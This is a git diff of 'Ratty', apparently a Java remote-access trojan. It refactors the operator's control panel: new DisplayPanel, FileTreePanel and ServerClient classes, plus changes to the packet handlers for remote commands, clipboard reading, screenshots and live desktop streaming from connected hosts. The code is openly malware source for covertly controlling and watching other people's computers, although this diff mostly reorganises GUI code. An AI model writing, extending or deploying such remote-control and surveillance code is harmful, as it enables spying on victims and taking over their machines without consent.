diff --git a/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java index 5b2471e..a706b8a 100644 --- a/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java @@ -6,8 +6,10 @@ import java.awt.datatransfer.DataFlavor; import java.awt.datatransfer.UnsupportedFlavorException; import java.io.IOException; +import javax.swing.JDialog; +import javax.swing.JOptionPane; + import de.sogomn.rat.ActiveClient; -import de.sogomn.rat.server.gui.RattyGui; public final class ClipboardPacket extends AbstractPingPongPacket { @@ -56,7 +58,11 @@ public final class ClipboardPacket extends AbstractPingPongPacket { @Override protected void executeData(final ActiveClient client) { - RattyGui.showMessage(clipboardContent); + final JOptionPane optionPane = new JOptionPane(clipboardContent); + final JDialog dialog = optionPane.createDialog(null); + + dialog.setModal(false); + dialog.setVisible(true); } } diff --git a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java index 65a49c0..9ec42c6 100644 --- a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java @@ -3,8 +3,10 @@ package de.sogomn.rat.packet; import java.io.IOException; import java.io.InputStream; +import javax.swing.JDialog; +import javax.swing.JOptionPane; + import de.sogomn.rat.ActiveClient; -import de.sogomn.rat.server.gui.RattyGui; public final class CommandPacket extends AbstractPingPongPacket { @@ -66,7 +68,11 @@ public final class CommandPacket extends AbstractPingPongPacket { @Override protected void executeData(final ActiveClient client) { - RattyGui.showMessage(output); + final JOptionPane optionPane = new JOptionPane(output); + final JDialog dialog = optionPane.createDialog(null); + + dialog.setModal(false); + dialog.setVisible(true); } public String getCommand() { @@ -78,7 +84,7 @@ public final class CommandPacket extends AbstractPingPongPacket { } public static CommandPacket create() { - final String input = RattyGui.getInput(); + final String input = JOptionPane.showInputDialog(null); final CommandPacket packet = new CommandPacket(input); return packet; diff --git a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java index 00bfa4f..d766d51 100644 --- a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java @@ -64,7 +64,7 @@ public final class InformationPacket extends AbstractPingPongPacket { return name; } - public String getOS() { + public String getOs() { return os; } diff --git a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java index c47a4e4..79fb3a5 100644 --- a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java @@ -1,7 +1,9 @@ package de.sogomn.rat.packet; +import javax.swing.JDialog; +import javax.swing.JOptionPane; + import de.sogomn.rat.ActiveClient; -import de.sogomn.rat.server.gui.RattyGui; @@ -29,7 +31,11 @@ public final class PopupPacket implements IPacket { @Override public void execute(final ActiveClient client) { - RattyGui.showMessage(message); + final JOptionPane optionPane = new JOptionPane(message); + final JDialog dialog = optionPane.createDialog(null); + + dialog.setModal(false); + dialog.setVisible(true); } public String getMessage() { @@ -37,7 +43,7 @@ public final class PopupPacket implements IPacket { } public static PopupPacket create() { - final String input = RattyGui.getInput(); + final String input = JOptionPane.showInputDialog(null); final PopupPacket packet = new PopupPacket(input); return packet; diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java new file mode 100644 index 0000000..464a142 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java @@ -0,0 +1,77 @@ +package de.sogomn.rat.server.gui; + +import java.awt.Color; +import java.awt.Graphics2D; +import java.awt.image.BufferedImage; + +import de.sogomn.engine.Screen; +import de.sogomn.engine.Screen.ResizeBehavior; +import de.sogomn.engine.util.ImageUtils; +import de.sogomn.rat.util.FrameEncoder.IFrame; + +public final class DisplayPanel { + + private Screen screen; + private BufferedImage image; + + private static final int SCREEN_WIDTH = 1920 / 2; + private static final int SCREEN_HEIGHT = 1080 / 2; + + public DisplayPanel() { + //... + } + + private Screen createScreen(final int width, final int height) { + final Screen screen = new Screen(width, height); + + screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); + screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); + screen.setBackgroundColor(Color.BLACK); + screen.addListener(g -> { + g.drawImage(image, 0, 0, null); + }); + + return screen; + } + + private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) { + final Graphics2D g = image.createGraphics(); + + ImageUtils.applyHighGraphics(g); + + g.drawImage(imagePart, x, y, null); + g.dispose(); + } + + public void openScreen(final int width, final int height) { + if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) { + if (screen != null) { + screen.close(); + } + + screen = createScreen(width, height); + } + + screen.show(); + screen.redraw(); + } + + public void showImage(final BufferedImage image) { + this.image = image; + + final int width = image.getWidth(); + final int height = image.getHeight(); + + openScreen(width, height); + } + + public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) { + if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { + image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); + } + + drawToScreenImage(frame.image, frame.x, frame.y); + openScreen(screenWidth, screenHeight); + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java new file mode 100644 index 0000000..f392f4c --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java @@ -0,0 +1,122 @@ +package de.sogomn.rat.server.gui; + +import java.awt.Dimension; + +import javax.swing.JDialog; +import javax.swing.JFrame; +import javax.swing.JTree; +import javax.swing.tree.DefaultMutableTreeNode; + +public final class FileTreePanel { + + private JDialog dialog; + + private DefaultMutableTreeNode root; + private JTree tree; + + private static final String ROOT_NAME = "Drives"; + private static final int DEFAULT_WIDTH = 500; + private static final int DEFAULT_HEIGHT = 500; + + public FileTreePanel() { + dialog = new JDialog(); + root = new DefaultMutableTreeNode(ROOT_NAME); + tree = new JTree(root); + + tree.setEditable(false); + tree.setBorder(null); + + dialog.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); + dialog.setPreferredSize(new Dimension(DEFAULT_WIDTH, DEFAULT_HEIGHT)); + dialog.setContentPane(tree); + dialog.pack(); + dialog.setLocationByPlatform(true); + } + + private DefaultMutableTreeNode[] getChildren(final DefaultMutableTreeNode node) { + final int childCount = node.getChildCount(); + final DefaultMutableTreeNode[] children = new DefaultMutableTreeNode[childCount]; + + for (int i = 0; i < childCount; i++) { + final DefaultMutableTreeNode child = (DefaultMutableTreeNode)node.getChildAt(i); + + children[i] = child; + } + + return children; + } + + private DefaultMutableTreeNode getChild(final DefaultMutableTreeNode node, final String name) { + final DefaultMutableTreeNode[] children = getChildren(node); + + for (final DefaultMutableTreeNode child : children) { + final Object object = child.getUserObject(); + + if (object.equals(name)) { + return child; + } + } + + return null; + } + + private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode start, final String[] path) { + if (path.length == 0) { + return null; + } + + final String name = path[0]; + final DefaultMutableTreeNode node = getChild(start, name); + + if (path.length == 1 || node == null) { + return node; + } + + final String[] remainingPath = new String[path.length - 1]; + System.arraycopy(path, 1, remainingPath, 0, remainingPath.length); + + return getByName(node, remainingPath); + } + + private void addAll(final DefaultMutableTreeNode start, final String[] path) { + if (path.length == 0) { + return; + } + + final String name = path[0]; + + DefaultMutableTreeNode node = getChild(start, name); + + if (node == null) { + node = new DefaultMutableTreeNode(name); + + start.add(node); + } + + final String[] remainingPath = new String[path.length - 1]; + System.arraycopy(path, 1, remainingPath, 0, remainingPath.length); + + addAll(node, remainingPath); + } + + public void addFile(final String... path) { + addAll(root, path); + } + + public void removeFile(final String... path) { + final DefaultMutableTreeNode node = getByName(root, path); + + if (node != null) { + node.removeFromParent(); + } + } + + public void clear() { + root.removeAllChildren(); + } + + public void setVisible(final boolean state) { + dialog.setVisible(state); + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index fe0b3a5..149787d 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -1,7 +1,5 @@ package de.sogomn.rat.server.gui; -import java.awt.Color; -import java.awt.Graphics2D; import java.awt.Point; import java.awt.event.ActionEvent; import java.awt.event.MouseAdapter; @@ -10,20 +8,15 @@ import java.awt.image.BufferedImage; import javax.swing.Icon; import javax.swing.ImageIcon; -import javax.swing.JDialog; import javax.swing.JFrame; import javax.swing.JMenuItem; -import javax.swing.JOptionPane; import javax.swing.JPopupMenu; import javax.swing.JScrollPane; import javax.swing.JTable; import javax.swing.table.DefaultTableModel; -import de.sogomn.engine.Screen; -import de.sogomn.engine.Screen.ResizeBehavior; import de.sogomn.engine.fx.SpriteSheet; import de.sogomn.engine.util.ImageUtils; -import de.sogomn.rat.util.FrameEncoder.IFrame; public final class RattyGui { @@ -36,9 +29,6 @@ public final class RattyGui { private JPopupMenu menu; - private Screen screen; - private BufferedImage image; - private IGuiController controller; private static final String[] HEADERS = { @@ -50,9 +40,6 @@ public final class RattyGui { "Streaming" }; - private static final int SCREEN_WIDTH = 800; - private static final int SCREEN_HEIGHT = 600; - private static final BufferedImage GUI_ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 16, 16).getSprites(); @@ -115,19 +102,6 @@ public final class RattyGui { frame.requestFocus(); } - private Screen createScreen(final int width, final int height) { - final Screen screen = new Screen(width, height); - - screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); - screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); - screen.setBackgroundColor(Color.BLACK); - screen.addListener(g -> { - g.drawImage(image, 0, 0, null); - }); - - return screen; - } - private void addMenuItem(final String name, final Icon icon) { final JMenuItem item = new JMenuItem(name); @@ -148,44 +122,18 @@ public final class RattyGui { controller.userInput(command); } - private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) { - final Graphics2D g = image.createGraphics(); - - ImageUtils.applyHighGraphics(g); + private int getRowIndex(final long id) { + final int rows = tableModel.getRowCount(); - g.drawImage(imagePart, x, y, null); - g.dispose(); - } - - public void openScreen(final int width, final int height) { - if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) { - if (screen != null) { - screen.close(); - } + for (int i = 0; i < rows; i++) { + final long rowId = (Long)tableModel.getValueAt(i, 0); - screen = createScreen(width, height); - } - - screen.show(); - screen.redraw(); - } - - public void showImage(final BufferedImage image) { - this.image = image; - - final int width = image.getWidth(); - final int height = image.getHeight(); - - openScreen(width, height); - } - - public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) { - if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { - image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); + if (rowId == id) { + return i; + } } - drawToScreenImage(frame.image, frame.x, frame.y); - openScreen(screenWidth, screenHeight); + return -1; } public void addTableRow(final long id, final String name, final String address, final String os, final String version) { @@ -195,28 +143,18 @@ public final class RattyGui { } public void removeTableRow(final long id) { - final int rows = tableModel.getRowCount(); + final int rowIndex = getRowIndex(id); - for (int i = 0; i < rows; i++) { - final long rowId = (Long)tableModel.getValueAt(i, 0); - - if (rowId == id) { - tableModel.removeRow(i); - - return; - } + if (rowIndex != -1) { + tableModel.removeRow(rowIndex); } } public void setStreaming(final long id, final boolean state) { - final int rows = tableModel.getRowCount(); + final int rowIndex = getRowIndex(id); - for (int i = 0; i < rows; i++) { - final long rowId = (Long)tableModel.getValueAt(i, 0); - - if (rowId == id) { - tableModel.setValueAt(state, i, 5); //Column 5 = Streaming - } + if (rowIndex != -1) { + tableModel.setValueAt(state, rowIndex, 5); //Column 5 = Streaming } } @@ -228,22 +166,4 @@ public final class RattyGui { return lastIdClicked; } - public boolean isScreenVisible() { - return screen.isVisible(); - } - - public static void showMessage(final String message) { - final JOptionPane optionPane = new JOptionPane(message); - final JDialog dialog = optionPane.createDialog(null); - - dialog.setModal(false); - dialog.setVisible(true); - } - - public static String getInput() { - final String input = JOptionPane.showInputDialog(null); - - return input; - } - } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index ac7b262..a7cefc1 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -72,52 +72,65 @@ public final class RattyGuiController implements IServerObserver, IClientObserve @Override public void packetReceived(final ActiveClient client, final IPacket packet) { - if (packet instanceof InformationPacket) { - final InformationPacket information = (InformationPacket)packet; - final long id = getServerClient(client).id; - final String name = information.getName(); - final String address = client.getAddress(); - final String os = information.getOS(); - final String version = information.getVersion(); - - gui.addTableRow(id, name, address, os, version); - } else if (packet instanceof ScreenshotPacket) { - final ScreenshotPacket screenshot = (ScreenshotPacket)packet; - final BufferedImage image = screenshot.getImage(); - - gui.showImage(image); - } else if (packet instanceof DesktopStreamPacket) { - final ServerClient serverClient = getServerClient(client); - - if (serverClient.streamingDesktop) { + final ServerClient serverClient = getServerClient(client); + + if (serverClient.isLoggedIn()) { + if (packet instanceof ScreenshotPacket) { + final ScreenshotPacket screenshot = (ScreenshotPacket)packet; + final BufferedImage image = screenshot.getImage(); + + serverClient.getDisplayPanel().showImage(image); + } else if (packet instanceof DesktopStreamPacket && serverClient.isStreamingDesktop()) { final DesktopStreamPacket stream = (DesktopStreamPacket)packet; final IFrame frame = stream.getFrame(); final int screenWidth = stream.getScreenWidth(); final int screenHeight = stream.getScreenHeight(); final DesktopStreamPacket request = new DesktopStreamPacket(); - gui.showFrame(frame, screenWidth, screenHeight); - + serverClient.getDisplayPanel().showFrame(frame, screenWidth, screenHeight); client.addPacket(request); + } else { + packet.execute(client); } - } else { - packet.execute(client); + } else if (packet instanceof InformationPacket) { + final InformationPacket information = (InformationPacket)packet; + final long id = serverClient.id; + final String name = information.getName(); + final String address = client.getAddress(); + final String os = information.getOs(); + final String version = information.getVersion(); + + serverClient.logIn(name, os, version); + gui.addTableRow(id, name, address, os, version); } } @Override public void disconnected(final ActiveClient client) { - removeClient(client); + final long id = getServerClient(client).id; + + client.setObserver(null); + client.close(); + clients.remove(client); + + gui.removeTableRow(id); } @Override public void clientConnected(final ActiveServer server, final ActiveClient client) { - addClient(client); + final long id = nextId++; + final ServerClient serverClient = new ServerClient(id, client); + final InformationPacket packet = new InformationPacket(); + + client.setObserver(this); + clients.add(serverClient); + client.start(); + client.addPacket(packet); } @Override public void closed(final ActiveServer server) { - System.out.println("Server closed"); + //... } @Override @@ -132,47 +145,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } if (command == RattyGui.DESKTOP) { - serverClient.streamingDesktop = true; + serverClient.setStreamingDesktop(true); gui.setStreaming(lastIdClicked, true); } else if (command == RattyGui.DESKTOP_STOP) { - serverClient.streamingDesktop = false; + serverClient.setStreamingDesktop(false); gui.setStreaming(lastIdClicked, false); } } - public void addClient(final ActiveClient client) { - final long id = nextId++; - final ServerClient serverClient = new ServerClient(id, client); - final InformationPacket packet = new InformationPacket(); - - client.setObserver(this); - clients.add(serverClient); - client.start(); - client.addPacket(packet); - } - - public void removeClient(final ActiveClient client) { - final long id = getServerClient(client).id; - - client.setObserver(null); - client.close(); - clients.remove(client); - - gui.removeTableRow(id); - } - - private final class ServerClient { - - private boolean streamingDesktop; - - final long id; - final ActiveClient client; - - public ServerClient(final long id, final ActiveClient client) { - this.id = id; - this.client = client; - } - - } - } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java new file mode 100644 index 0000000..ac68640 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -0,0 +1,66 @@ +package de.sogomn.rat.server.gui; + +import de.sogomn.rat.ActiveClient; + +public final class ServerClient { + + private String name, os, version; + private boolean loggedIn; + + private boolean streamingDesktop; + + private DisplayPanel displayPanel; + private FileTreePanel treePanel; + + final long id; + final ActiveClient client; + + public ServerClient(final long id, final ActiveClient client) { + this.id = id; + this.client = client; + + displayPanel = new DisplayPanel(); + treePanel = new FileTreePanel(); + } + + public void logIn(final String name, final String os, final String version) { + this.name = name; + this.os = os; + this.version = version; + + loggedIn = true; + } + + public void setStreamingDesktop(final boolean streamingDesktop) { + this.streamingDesktop = streamingDesktop; + } + + public String getName() { + return name; + } + + public String getOs() { + return os; + } + + public String getVersion() { + return version; + } + + public boolean isLoggedIn() { + return loggedIn; + } + + public boolean isStreamingDesktop() { + return streamingDesktop; + } + + public DisplayPanel getDisplayPanel() { + return displayPanel; + } + + public FileTreePanel getTreePanel() { + return treePanel; + } + +}